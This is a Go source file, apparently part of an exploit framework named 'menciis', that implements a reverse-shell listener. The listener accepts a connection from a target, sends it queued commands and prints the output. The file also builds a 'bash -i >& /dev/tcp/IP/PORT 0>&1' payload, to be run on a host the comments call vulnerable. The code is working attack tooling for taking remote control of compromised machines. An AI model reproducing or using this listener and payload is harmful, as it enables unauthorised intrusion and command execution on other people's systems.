package expbase

import (
	"fmt"
	hubur "gitee.com/wudicaidou/menciis-hubur"
	logx "gitee.com/wudicaidou/menciis-logx"
	"net"
	"sync"
	"time"
)

type ReverseServer struct {
	Ip       string `json:"ip"`
	Port     int    `json:"port"`
	Duration int64  `json:"duration"`
	cmd      []string
	wg       *sync.WaitGroup
}

func NewReverseServer(ip string, port int, Cmd []string, Duration int64) *ReverseServer {
	server := &ReverseServer{
		Ip:       ip,
		Port:     port,
		cmd:      Cmd,
		Duration: Duration,
		wg:       &sync.WaitGroup{},
	}
	return server
}

func (t *ReverseServer) writeHandler(conn net.Conn) {
	for _, c := range t.cmd {
		_, err := conn.Write([]byte(c))
		if err != nil {
			return
		}
		_, err = conn.Write([]byte{0x0A})
		if err != nil {
			return
		}
	}

}

func (t *ReverseServer) Start() bool {
	listener, err := net.Listen("tcp", fmt.Sprintf("%s:%d", t.Ip, t.Port))
	if err != nil {
		return false
	}
	if err != nil {
		fmt.Println("net listen err:", err)
		return false
	}
	go func() {
		time.Sleep(time.Duration(t.Duration) * time.Second)
		_ = listener.Close()
	}()
	logx.Info("开始监听", t.Ip, ":", t.Port)
	con, err := listener.Accept()
	if err != nil {
		fmt.Println("net Accept err:", err)
		return false
	}
	logx.Info("收到监听", con.RemoteAddr())
	defer con.Close()
	go t.readHandler(con)
	t.writeHandler(con)
	time.Sleep(time.Second * 1)
	return true
}

func (t *ReverseServer) readHandler(conn net.Conn) {
	for {
		buf := make([]byte, 4096)
		_, err := conn.Read(buf)
		if err != nil {
			return
		}
		fmt.Print(string(buf))
	}
}

// ReverseHost 漏洞ip 要执行的命令 监听时间
func ReverseHost(Host string, Command []string, Duration int64) (string, *sync.WaitGroup, error) {
	conn, err := net.DialTimeout("tcp", Host, time.Second)
	if err != nil {
		return "", nil, err
	}
	localHost := conn.LocalAddr().String()
	err = conn.Close()
	if err != nil {
		return "", nil, err
	}
	localIp, _, err := net.SplitHostPort(localHost)
	if err != nil {
		return "", nil, err
	}
	freePort, err := hubur.GetFreePort()
	if err != nil {
		return "", nil, err
	}
	reverseServer := NewReverseServer(localIp, freePort, Command, Duration)
	go reverseServer.Start()
	reverseCmd := fmt.Sprintf("bash -i >& /dev/tcp/%s/%d 0>&1", localIp, freePort)
	return reverseCmd, reverseServer.wg, nil
}
